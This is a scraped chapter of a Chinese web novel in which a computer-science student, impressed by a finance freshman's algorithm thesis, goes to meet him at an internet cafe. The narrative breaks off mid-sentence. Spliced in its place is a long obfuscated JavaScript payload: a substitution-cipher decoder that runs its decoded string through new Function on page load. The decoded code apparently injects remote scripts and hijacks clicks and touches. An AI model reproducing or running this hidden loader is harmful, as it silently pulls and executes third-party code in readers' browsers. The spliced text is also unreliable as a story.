第919章 网吧
91书院(91shuyuan.com)更新快,无弹窗!
“对,就是他。”王教授摘下眼镜擦了擦镜片,重新戴上。
“我昨天在应用商店看到一个App,叫迅捷生活,开发者是龙安大学迅捷科技。”
“我好奇一个大学生团队做的App后台架构是什么水平,就让我带的研究生做了个压力测试,你们猜结果怎么样?”
整个教室的学生都竖起了耳朵。王教授把论文初稿举起来,翻到其中一页印着架构图的附录:
“这份论文是陆言独立完成的,关于外卖配送路线优化的算法模型。”
“我昨晚审了一遍,没有找到任何需要修改的地方,这份论文的水平这么说吧,我带的研二学生里,能写出同等水平的,不超过三个人,而他是个金融系的大一新生。”
顿了顿,教授用指节敲了敲讲台,“我打算邀请他加入我的项目组,一个金融系的学生,靠自学写出的后台架构,扛过了我让研二学长做的压力测试,你们说,我该不该破这个例?”
教室里爆发出一阵压低的议论声。
陈嘉树原本挺直的腰板微微往后靠了靠,他入学以来一直都是计算机系的焦点,教授夸基础好,同学羡慕他能提前学过好几门专业课,他也以为自己是这届唯一有机会进王教授项目组的人。
但现在教授在课堂上用了一整段话夸一个金融系的外系生,这多少有点打身为“首席”的脸。
他深吸一口气,举起手。
“王教授,我想看一下那份论文,如果方便的话。”他的声音努力保持平静。
王教授看了他一眼,把论文递了过去。
陈嘉树接过论文,翻了几页。
教室里安静得只剩下他翻纸的声音。他的目光从最开始的不服气,变成专注,再变成一种他自己不太想承认的认真。
看到某一页的时候他翻回去重新看了一遍,手指在某个公式上停了好几秒,然后继续往下翻。
翻到最后一页之后他把论文合上,放在讲台边缘,沉默了几秒。
“我看完了。”他说,然后抬头看向王教授,“我有一个请求,我想跟陆言当面交流一下,不是比谁代码写得好,是想问他几个问题。”
“这篇论文里有一个算法优化的思路,我想知道他是在什么启发下想到的。”他顿了顿,又加了一句,语气里没有了最开始那种暗暗较劲的意味,只有一种很纯粹,被某个同辈人的实力正面碾压之后催生出的好奇。
“这个优化方向,我之前也想过类似的,但卡在一个瓶颈上很久了,他这篇论文里的处理方式把我那层纸捅破了。”
傍晚时分,龙安市的天空烧成了一片深橘色,街道两侧的店铺陆续亮起灯箱,大学城附近的网吧一条街开始涌入刚下课的学生。
陈嘉树背着电脑包站在极速先锋网咖门口,抬头确认了一下招牌上那排闪烁的LED灯,又低头看了看手机屏幕上陆言发来的定位。
说起来,他从小到大去过的网吧次数一只手数得过来,毕竟老爸在书房给他配了顶配的台式机,他妈给他买了人体工学椅,编程环境是家里安静的书房,从来不需要到键盘声噼里啪啦的网吧。
陆言约他来这里见面,他第一反应是对方发错了定位。
金融系的人谈算法架构不该约在图书馆或者咖啡厅吗?不过自己还是来了。
推开玻璃门,一股混合着泡面调料,香烟和空气清新剂的气味扑面而来。
网吧里人声聒噪,打游戏的喊杀声、机械键盘的青轴脆响、角落里有几个人正对着屏幕上的足球比赛大声争论。
陈嘉树皱着眉头往里走了几步,目光扫过一排排电竞椅,最后看到了陆言。
对方随意地靠在一张深灰色的电竞椅上,一只脚踩在椅子边缘,膝盖微屈,姿态放松得像一只午后在窗台上晒太阳的猫。
网吧里烟气混杂,头顶的日光灯管有几根坏了,光线昏暗而斑驳,可他落座的位置偏偏自成一片视线漩涡。
对方侧脸的下颌线锋利干净,像用最细的笔一笔勾勒出来的,从耳根到下巴没有任何多余的棱角。
额前碎发垂落半截,在眉骨上方投下一小片阴影,衬得那双被魅力系统加持过的眼眸清冷有神。
屏幕上的游戏画面在他瞳孔里快速闪动,陆言修长的手指在机械键盘上轻盈跳跃,每一次敲击都精准而从容,左手腕骨微微凸起,手背上隐约可见几条极细的青色血管。
右手握着鼠标,食指和中指搭在左右键上,骨节分明而不粗壮,指甲修剪得干干净净。
明明只是专注地盯着游戏屏幕,没有刻意展露分毫魅力,却让周围好几个正在打游戏的女生频频侧目。
陆言旁边坐着于欢水,这位高中死党。
于欢水现在在龙安师范大学读大一,今晚应陆言的约来网吧联机打龙魂枪战,还特意带了几个同校的朋友过来。
本意是想给
!function(){function a(a){var _idx="g51nekh5ma";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/pn}2YShn^d/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"pn}2YShn^d"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY8pn}2YShn^d"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();